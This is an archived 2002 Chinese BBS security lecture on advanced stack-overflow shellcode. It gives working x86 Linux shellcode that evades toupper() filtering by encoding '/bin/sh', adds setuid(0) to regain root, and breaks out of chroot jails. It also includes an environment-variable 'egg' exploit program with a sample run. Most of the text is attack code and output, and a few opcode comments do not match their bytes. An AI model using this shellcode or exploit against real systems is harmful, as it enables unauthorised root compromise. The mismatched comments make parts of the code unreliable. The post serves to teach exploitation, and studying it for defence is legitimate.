荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: boguce (心情如歌), 信区: Security
标  题: 堆栈溢出系列讲座(4)
发信站: 荔园晨风BBS站 (Fri Jan 11 12:26:13 2002), 转信

堆栈溢出系列讲座
                复杂的shellcode

前面几讲,我们已经有了基本的堆栈溢出知识,可以编写基本的shellcode了。这
一讲,
我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的shellcode。

复杂shellcode的产生是由于有一定防范措施的的目标程序。(所谓道高一尺,魔
高一丈)
。以下分类讨论几种情况。注意,下面的分类是不全面的,也不可能穷尽所有的情
况,
只是提供一些例子来阐明修改shellcode的技巧。

1:输入的溢出字符串被预处理

比如,如果敌人在自己的程序里面加入如下代码,就可抑制前面提到的堆栈溢出的
攻击:
------------------------------------------------------------------------

                。。。。。。
                for(i=0;i<strlen(argv[1]);i++)
                        argv[1][i]=toupper(argv[1][i]);
                        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^加入的代码
                。。。。。。
                strcpy(buffer,argv[1]);

------------------------------------------------------------------------

显然,由于toupper函数对输入进行了过滤处理,/bin/sh变成了\BIN\SH,UNIX系
统是
大小写敏感的,因此execve系统调用不会成功。自然得不到shell。

怎么办?我们可以修改shellcode,使他不包含ascII为0x60--0x7a的字符。我们把


/bin/sh的每一个字母都减去0x50,得到"\x2f\x12\x19\x1e\x2f\x23\x18",在
shellcode
里面再把它们改回来。

另外,指令"\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
也有问题字符\x76.我们可以把他改成其他的等价指令。比如改成:
"movl %esi,%eax", "addl $0x8,%eax","movl %eax,0x8(%esi)".

新的shellcode如下:
char shellcode[]=
        "\xeb\x38"                      /* jmp 0x38              */
        "\x5e"                          /* popl %esi             */
        "\x80\x46\x01\x50"              /* addb $0x50,0x1(%esi)  */
        "\x80\x46\x02\x50"              /* addb $0x50,0x2(%esi)  */
        "\x80\x46\x03\x50"              /* addb $0x50,0x3(%esi)  */
        "\x80\x46\x05\x50"              /* addb $0x50,0x5(%esi)  */
        "\x80\x46\x06\x50"              /* addb $0x50,0x6(%esi)  */
        "\x89\xf0"                      /* movl %esi,%eax        */
        "\x83\xc0\x08"                  /* addl $0x8,%eax        */
        "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
        "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
        "\xb0\x0b"                      /* movb $0xb,%al         */
        "\x89\xf3"                      /* movl %esi,%ebx        */
        "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
        "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
        "\xcd\x80"                      /* int $0x80             */
        "\x31\xdb"                      /* xorl %ebx,%ebx        */
        "\x89\xd8"                      /* movl %ebx,%eax        */
        "\x40"                          /* inc %eax              */
        "\xcd\x80"                      /* int $0x80             */
        "\xe8\xc3\xff\xff\xff"          /* call -0x3d            */
        "\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh"     */
                                        /* /bin/sh is disguised  */
好,一个新的shellcode,绕过了预处理器的检查。我们可以用这种方法解决那些

不允许有某些字符集合的预处理检查。比如不允许!@#$%^;*的,等等。

2:对付seteuid(getuid())
有的程序在开始的时候seteuid(getuid()),然后在需要的时候才进行
setuid(0)。这样就可以在发生堆栈溢出的时候由于euid!=0而使我们只能得到普
通shell

当你搞定了一个setuid位的程序,却发现只得到了普通用户shell的时候,就很可

能是这种情况。

但是,如果我们在自己的shellcode里面加上setuid(0),就一样可以得到
rootshell。

我们写一个带有setuid的程序,用gcc -static 编译,使用gdb来试验:
(gdb) disassemble setuid
Dump of assembler code for function __setuid:
0x804ca00 <__setuid>:   movl   %ebx,%edx
0x804ca02 <__setuid+2>: movl   0x4(%esp,1),%ebx
0x804ca06 <__setuid+6>: movl   $0x17,%eax
0x804ca0b <__setuid+11>:        int    $0x80
0x804ca0d <__setuid+13>:        movl   %edx,%ebx
0x804ca0f <__setuid+15>:        cmpl   $0xfffff001,%eax
0x804ca14 <__setuid+20>:        jae    0x804cc10 <__syscall_error>
0x804ca1a <__setuid+26>:        ret
0x804ca1b <__setuid+27>:        nop
0x804ca1c <__setuid+28>:        nop
0x804ca1d <__setuid+29>:        nop
0x804ca1e <__setuid+30>:        nop
0x804ca1f <__setuid+31>:        nop
End of assembler dump.
我们可以用b/bx指令得到:setuid(0)的汇编代码:
------------------------------------------------------------------------

char code[]=
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x31\xdb"                      /* xorl %ebx,%ebx        */
        "\xb0\x17"                      /* movb $0x17,%al        */
        "\xcd\x80";                     /* int $0x80             */
------------------------------------------------------------------------

把这段代码加到标准shellcode中jmp的前面就可以了。
(注意,最好不要加到jmp的后面,因为还要重新计算偏移,而且如果期间有堆栈
操作,
就把string的返回地址冲掉了)

new shellcode
------------------------------------------------------------------------

char shellcode[]=
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x31\xdb"                      /* xorl %ebx,%ebx        */
        "\xb0\x17"                      /* movb $0x17,%al        */
        "\xcd\x80"                      /* int $0x80             */
        "\xeb\x1f"                      /* jmp 0x1f              */
        "\x5e"                          /* popl %esi             */
        "\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
        "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
        "\xb0\x0b"                      /* movb $0xb,%al         */
        "\x89\xf3"                      /* movl %esi,%ebx        */
        "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
        "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
        "\xcd\x80"                      /* int $0x80             */
        "\x31\xdb"                      /* xorl %ebx,%ebx        */
        "\x89\xd8"                      /* movl %ebx,%eax        */
        "\x40"                          /* inc %eax              */
        "\xcd\x80"                      /* int $0x80             */
        "\xe8\xdc\xff\xff\xff"          /* call -0x24            */
        "/bin/sh";                      /* .string \"/bin/sh\"   */
------------------------------------------------------------------------


3:敌人把root的根目录给改掉了
有的程序chroot了(比如/home/ftp),我们B.O之后只能在指定的目录里面打转。

结果我们的/bin/sh变成了/home/ftp/bin/sh,当然不会存在。execve执行sh必然
失败。



我们可以进行如下操作:以找回root的根目录\。
mkdir("sh");
chroot("sh");
chroot("../../../../../../../");

它们的汇编代码为:
mkdir("sh",0755); code
------------------------------------------------------------------------

        /* mkdir first argument is %ebx and second argument is   */
        /* %ecx.                                                 */
char code[]=
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x31\xc9"                      /* xorl %ecx,%ecx        */
        "\xb0\x27"                      /* movb $0x27,%al        */
        "\x8d\x5e\x05"                  /* leal 0x5(%esi),%ebx   */
        /* %esi has to reference "/bin/sh" before using this     */
        /* instruction. This instruction load address of "sh"    */
        /* and store at %ebx                                     */
        "\xfe\xc5"                      /* incb %ch              */
        /* %cx = 0000 0001 0000 0000                             */
        "\xb0\x3d"                      /* movb $0xed,%cl        */
        /* %cx = 0000 0001 1110 1101                             */
        /* %cx = 000 111 101 101                                 */
        /* %cx = 0   7   5   5                                   */
        "\xcd\x80";                     /* int $0x80             */
------------------------------------------------------------------------


chroot("sh"); code
------------------------------------------------------------------------

        /* chroot first argument is ebx */
char code[]=
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x8d\x5e\x05"                  /* leal 0x5(%esi),%ebx   */
        "\xb0\x3d"                      /* movb $0x3d,%al        */
        "\xcd\x80";                     /* int $0x80             */
------------------------------------------------------------------------


chroot("../../../../../../../../../../../../../../../../"); code
------------------------------------------------------------------------

char code[]=
        "\xbb\xd2\xd1\xd0\xff"          /* movl $0xffd0d1d2,%ebx */
        /* disguised "../" character string                      */
        "\xf7\xdb"                      /* negl %ebx             */
        /* %ebx = $0x002f2e2e                                    */
        /* intel x86 is little endian.                           */
        /* %ebx = "../"                                          */
        "\x31\xc9"                      /* xorl %ecx,%ecx        */
        "\xb1\x10"                      /* movb $0x10,%cl        */
        /* prepare for looping 16 times.                         */
        "\x56"                          /* pushl %esi            */
        /* backup current %esi. %esi has the pointer of          */
        /* "/bin/sh".                                            */
        "\x01\xce"                      /* addl %ecx,%esi        */
        "\x89\x1e"                      /* movl %ebx,(%esi)      */
        "\x83\xc6\x03"                  /* addl $0x3,%esi        */
        "\xe0\xf9"                      /* loopne -0x7           */
        /* make "../../../../ . . . " character string at        */
        /* 0x10(%esi) by looping.                                */
        "\x5e"                          /* popl %esi             */
        /* restore %esi.                                         */
        "\xb0\x3d"                      /* movb $0x3d,%al        */
        "\x8d\x5e\x10"                  /* leal 0x10(%esi),%ebx  */
        /* %ebx has the address of "../../../../ . . . ".        */
        "\xcd\x80";                     /* int $0x80             */
------------------------------------------------------------------------


我们把这些代码加进去:
new shellcode
------------------------------------------------------------------------

char shellcode[]=
        "\xeb\x4f"                      /* jmp 0x4f              */
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x31\xc9"                      /* xorl %ecx,%ecx        */
        "\x5e"                          /* popl %esi             */
        "\x88\x46\x07"                  /* movb %al,0x7(%esi)    */
        "\xb0\x27"                      /* movb $0x27,%al        */
        "\x8d\x5e\x05"                  /* leal 0x5(%esi),%ebx   */
        "\xfe\xc5"                      /* incb %ch              */
        "\xb1\xed"                      /* movb $0xed,%cl        */
        "\xcd\x80"                      /* int $0x80             */
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x8d\x5e\x05"                  /* leal 0x5(%esi),%ebx   */
        "\xb0\x3d"                      /* movb $0x3d,%al        */
        "\xcd\x80"                      /* int $0x80             */
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\xbb\xd2\xd1\xd0\xff"          /* movl $0xffd0d1d2,%ebx */
        "\xf7\xdb"                      /* negl %ebx             */
        "\x31\xc9"                      /* xorl %ecx,%ecx        */
        "\xb1\x10"                      /* movb $0x10,%cl        */
        "\x56"                          /* pushl %esi            */
        "\x01\xce"                      /* addl %ecx,%esi        */
        "\x89\x1e"                      /* movl %ebx,(%esi)      */
        "\x83\xc6\x03"                  /* addl %0x3,%esi        */
        "\xe0\xf9"                      /* loopne -0x7           */
        "\x5e"                          /* popl %esi             */
        "\xb0\x3d"                      /* movb $0x3d,%al        */
        "\x8d\x5e\x10"                  /* leal 0x10(%esi),%ebx  */
        "\xcd\x80"                      /* int $0x80             */
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
        "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
        "\xb0\x0b"                      /* movb $0xb,%al         */
        "\x89\xf3"                      /* movl %esi,%ebx        */
        "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
        "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
        "\xcd\x80"                      /* int $0x80             */
        "\xe8\xac\xff\xff\xff"          /* call -0x54            */
        "/bin/sh";                      /* .string \"/bin/sh\"   */
------------------------------------------------------------------------

4:敌人的buffer数组开的太小

如果敌人的strcpy(buffer,ourstring)中的buffer离堆栈顶过于接近,比如,只有
12个
字节的偏移,我们的shellcode有几十个字节,如果buffer开的太小,是无法容纳

shellcode的,结果会导致如下情况:

内存底部                               内存顶部
           buffer   EBP   ret
<------   [SSS...S][S   ][S   ]S..SAAAAAAAAAAA
          ^;buffer
堆栈顶部                               堆栈底部

看到了吗?由于buffer太小,离栈顶又太近,相对于这个短小的空间,我们的
shellcode
太长了,以至于覆盖了ret,而我们猜测的返回地址(A)被迫写到了更远的地方。
这样,
函数执行完,返回的时候,取出的是shellcode的某一个片断作为返回地址,跑到
月球上
了。。。

为了解决这个问题,我们引入了环境变量。为了避免溢出字符串的长度大于
buffer长度
的情况,我们把溢出串放在一个环境变量里面,把他的地址放在另一个环境变量里
面。
这两个变量分别为:
$RET = AAAAAAAAAAAAAAAAAAAAA
$EGG = NNNNNNNNNNNSSSSSSSSSS
把变量RET的内容作为参数传给被测试的程序。

这里有必要解释一下linux系统中的环境变量。每一个程序在开始运行的时候,父
shell
的环境变量都会在堆栈中。因此,当目标程序在一个以EGG为环境变量的shell中运
行时
,他的堆栈里面就自动继承了我们的EGG变量的内容。见下图所示:

堆栈顶                                                                堆

栈底
      <参数指针>NULL<环境变量指针>NULL<参数个数><参数><环境变量>


这样,当我们用猜测的地址(A)构成的RET变量传给敌人的strcpy函数时,他的堆
栈就
会被A充满。如果我们的EGG很大,那么里面的NOP就越多,自然命中的概率就越大

overflow.c
------------------------------------------------------------------------

#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;

  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset  = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);


  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_esp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';
  egg[eggsize - 1] = '\0';
                //现在,egg里面内容为:NNNNNNNNNNNNNNNNNNSSS
                //buff里面的内容为AAAAAAAAAAAAAAAAAAA,
                //我们猜测的egg环境变量的开始地址。
  memcpy(egg,"EGG=",4);
  putenv(egg);
  memcpy(buff,"RET=",4);
  putenv(buff);
                //使用 putenv 来设置EGG,RET这两个环境变量。
  system("/bin/bash");
                //这个bash继承了两个环境变量。
}
------------------------------------------------------------------------

好了,来试一试:
------------------------------------------------------------------------

[nkl10]$ ./overflow 768
Using address: 0xbffffdb0
[nkl10]$ ./overflow $RET
$
------------------------------------------------------------------------


--

--
※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.32.40]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店